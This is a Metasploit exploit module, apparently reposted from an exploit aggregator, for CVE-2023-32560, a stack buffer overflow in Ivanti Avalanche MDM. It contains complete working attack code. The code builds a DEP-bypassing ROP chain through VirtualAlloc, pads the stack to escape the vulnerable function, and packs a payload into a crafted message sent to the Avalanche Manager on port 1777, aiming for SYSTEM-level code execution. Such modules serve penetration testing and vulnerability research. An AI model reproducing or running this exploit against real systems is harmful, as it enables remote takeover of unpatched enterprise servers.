Share
## https://sploitus.com/exploit?id=PACKETSTORM:174698
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ivanti Avalanche MDM Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.  
An attacker can send a specially crafted message to the Wavelink Avalanche Manager,  
which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.  
This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.  
The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.  
Upon successful exploitation the attacker gains full access to the target system.  
  
This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module  
'A researcher at Tenable' # Discovery  
],  
'References' => [  
['CVE', '2023-32560'],  
['URL', 'https://www.tenable.com/security/research/tra-2023-27'],  
['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']  
],  
'DefaultOptions' => {  
'EXITFUNC' => 'thread'  
},  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' => {  
'BadChars' => "\x3b"  
},  
'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],  
'Privileged' => true,  
'DisclosureDate' => '2023-08-14',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
  
register_options(  
[  
OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])  
]  
)  
end  
  
def check  
begin  
connect  
rescue StandardError  
print_error('Could not connect to target!')  
return Exploit::CheckCode::Safe  
end  
res = sock.get_once  
  
if res =~ /p\.guid/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
expected_payload_size = 622  
  
# This is a custom ROP chain for bypassing DEP via VirtualAlloc  
rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;  
rop_chain += [0x00001000].pack('V') # flAllocationType  
rop_chain += [0x00499ac0].pack('V') # pop eax ; ret ;  
rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry  
rop_chain += [0x00566650].pack('V') # pop ecx ; ret ;  
rop_chain += [0x00000040].pack('V') # flProtect  
rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ;  
rop_chain += [0x00000320].pack('V') # dwSize  
rop_chain += [0x00402323].pack('V') # pop ebp; ret  
rop_chain += [0x0055642a].pack('V') # pop eax; ret  
rop_chain += [0x0052ad90].pack('V') # pop esi; ret;  
rop_chain += [0x0042792f].pack('V') # jmp [eax]  
rop_chain += [0x00521907].pack('V') # pop edi ; ret ;  
rop_chain += [0x00568968].pack('V') # ret ;  
rop_chain += [0x004995ab].pack('V') # pushad ; ret ;  
rop_chain += [0x00499c20].pack('V') # push esp ; ret  
  
# Because of the compiler optimized `qmemcpy`  
# we are not able to directly return to out smashed stack.  
# This buffer re-arranges the entire stack for escaping  
# the longass function without crashing.  
buf = Rex::Text.rand_text_alpha(136)  
buf += [0].pack('V') # set empty register  
buf += [0].pack('V') # set empty register  
buf += [0].pack('V') # stack alignment buffer  
buf += [0].pack('V') # stack alignment buffer  
buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;")  
buf += [0x00583900].pack('V') # .data section scratch space  
buf += [0x00583900].pack('V') # .data section scratch space  
buf += [0x00585858].pack('V') # .data section scratch space  
buf += [0x00585857].pack('V') # .data section scratch space  
  
# ==================  
name1 = 'h.mid'  
value1 = "\x30"  
  
name2 = 'h.cmd'  
value2 = "\x31\x39"  
  
name3 = 'p.waitprofile'  
value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)  
  
item1 = [2].pack('N')  
item1 += [name1.length].pack('N')  
item1 += [value1.length].pack('N')  
item1 += name1 + value1  
  
item2 = [2].pack('N')  
item2 += [name2.length].pack('N')  
item2 += [value2.length].pack('N')  
item2 += name2 + value2  
  
item3 = [101].pack('N')  
item3 += [name3.length].pack('N')  
item3 += [value3.length].pack('N')  
item3 += name3 + value3  
  
hp = item1 + item2 + item3  
if hp.length % 16 != 0 # Add padding if not power of 16  
hp += ("\x00" * (16 - (hp.length % 16)))  
end  
  
preamble = [hp.length + 16].pack('N')  
preamble += [item1.length + item2.length].pack('N')  
preamble += [(hp.length + 16) - 0x3b].pack('N')  
preamble += [0].pack('N')  
  
packet = preamble + hp  
  
print_status('Connecting to target...')  
connect  
res = sock.get_once  
fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?  
  
print_status('Sending payload...')  
sock.put(packet)  
disconnect  
end  
end